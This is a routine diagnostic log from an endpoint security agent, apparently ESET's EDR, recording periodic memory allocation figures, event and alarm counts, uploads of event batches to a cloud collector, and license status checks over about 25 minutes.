2026-03-04 18:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2272 KB; ModuleMetadata: 2023 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 441 KB; rules::ProcessConditionsCache: 375 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 118 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 23076 KB;
2026-03-04 18:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2639 KB; ModuleMetadata: 2023 KB; BaseEvent: 624 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 343 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 166 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 23616 KB;
2026-03-04 18:56:31 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:52:24, To:, 2026-03-04 18:56:30, Duration (s):, 246, Events Per Second:, 16.605, Events:, 4094, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 679, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459553
2026-03-04 18:56:33 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s569ms.
2026-03-04 18:56:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1446 KB; TcpIpConnectionsManager: 609 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 338 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BaseEvent: 73 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 21763 KB;
2026-03-04 18:57:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1806 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 322 KB; rules::ProcessConditionsCache: 315 KB; CacheEntry: 297 KB; BaseEvent: 251 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 22316 KB;
2026-03-04 18:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:58:56 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2091 KB; ModuleMetadata: 2023 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 383 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 183 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 8 KB; BatchStringTag: 0 KB; Total: 22656 KB;
2026-03-04 18:58:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:58:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:58:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:58:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2273 KB; ModuleMetadata: 2023 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; BaseEvent: 469 KB; rules::ProcessConditionsCache: 359 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 128 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 19 KB; ExtendedTcpIpConnectionInfo: 9 KB; ProcessInfoCommandLineTag: 9 KB; BatchStringTag: 0 KB; Total: 23063 KB;
2026-03-04 19:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2492 KB; ModuleMetadata: 2023 KB; BaseEvent: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; TcpIpConnectionsManager: 503 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 160 KB; BatchSerializer::EventsQueueTag: 157 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 9 KB; BatchStringTag: 0 KB; Total: 23181 KB;
2026-03-04 19:01:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:56:27, To:, 2026-03-04 19:01:16, Duration (s):, 289, Events Per Second:, 13.714, Events:, 3973, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3441, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 531, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 449563
2026-03-04 19:01:20 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s550ms.
2026-03-04 19:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1514 KB; TcpIpConnectionsManager: 760 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BaseEvent: 214 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 57 KB; rules::ProcessConditionsCache: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; BatchStringTag: 0 KB; Total: 21894 KB;
2026-03-04 19:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1874 KB; TcpIpConnectionsManager: 806 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 393 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::ProcessConditionsCache: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ExtendedTcpIpConnectionInfo: 11 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchStringTag: 0 KB; Total: 22499 KB;
2026-03-04 19:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:true, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2254 KB; ModuleMetadata: 2023 KB; TcpIpConnectionsManager: 844 KB; BaseEvent: 574 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 15 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchStringTag: 0 KB; Total: 23115 KB;
2026-03-04 19:03:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:03:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:03:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:03:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:04:44 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:00:43, To:, 2026-03-04 19:04:44, Duration (s):, 241, Events Per Second:, 16.933, Events:, 4085, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3434, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 650, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457553
2026-03-04 19:04:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s541ms.
2026-03-04 19:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1596 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BaseEvent: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 9 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; rules::ProcessConditionsCache: 4 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21484 KB;
2026-03-04 19:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1957 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 398 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BaseEvent: 213 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22464 KB;
2026-03-04 19:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2342 KB; ModuleMetadata: 2023 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 407 KB; BaseEvent: 399 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23090 KB;
2026-03-04 19:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2703 KB; ModuleMetadata: 2023 KB; BaseEvent: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 380 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23629 KB;
2026-03-04 19:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:08:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:04:44, To:, 2026-03-04 19:08:49, Duration (s):, 245, Events Per Second:, 16.650, Events:, 4083, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3368, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453876
2026-03-04 19:08:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s401ms.
2026-03-04 19:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1360 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 378 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 20 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21581 KB;
2026-03-04 19:08:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:08:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:08:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:08:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1763 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 207 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22207 KB;
2026-03-04 19:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2175 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 389 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22545 KB;
2026-03-04 19:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2536 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 583 KB; BaseEvent: 574 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; rules::ProcessConditionsCache: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23153 KB;
2026-03-04 19:12:50 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:08:48, To:, 2026-03-04 19:12:50, Duration (s):, 242, Events Per Second:, 17.065, Events:, 4143, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3455, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 687, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461013
2026-03-04 19:12:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s404ms.
2026-03-04 19:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1357 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 404 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BaseEvent: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21644 KB;
2026-03-04 19:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2028 KB; ProcessInfo: 1736 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; BaseEvent: 199 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::ProcessConditionsCache: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21886 KB;
2026-03-04 19:13:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 19:13:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 19:13:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 19:13:58 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 19:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2097 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 423 KB; BaseEvent: 381 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22828 KB;
2026-03-04 19:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2386 KB; ModuleMetadata: 2028 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 518 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 305 KB; CacheEntry: 297 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 139 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23190 KB;
2026-03-04 19:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2651 KB; ModuleMetadata: 2029 KB; BaseEvent: 650 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; TcpIpConnectionsManager: 491 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 176 KB; BatchSerializer::EventsQueueTag: 173 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23419 KB;
2026-03-04 19:17:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 19:12:50, To:, 2026-03-04 19:17:06, Duration (s):, 256, Events Per Second:, 15.993, Events:, 4101, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455507
2026-03-04 19:17:08 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s434ms.
2026-03-04 19:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2029 KB; ProcessInfo: 1910 KB; TcpIpConnectionsManager: 660 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 326 KB; ModuleInfoCache: 323 KB; CacheEntry: 297 KB; rules::ProcessConditionsCache: 276 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 85 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22539 KB;
2026-03-04 19:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 19:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 19:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
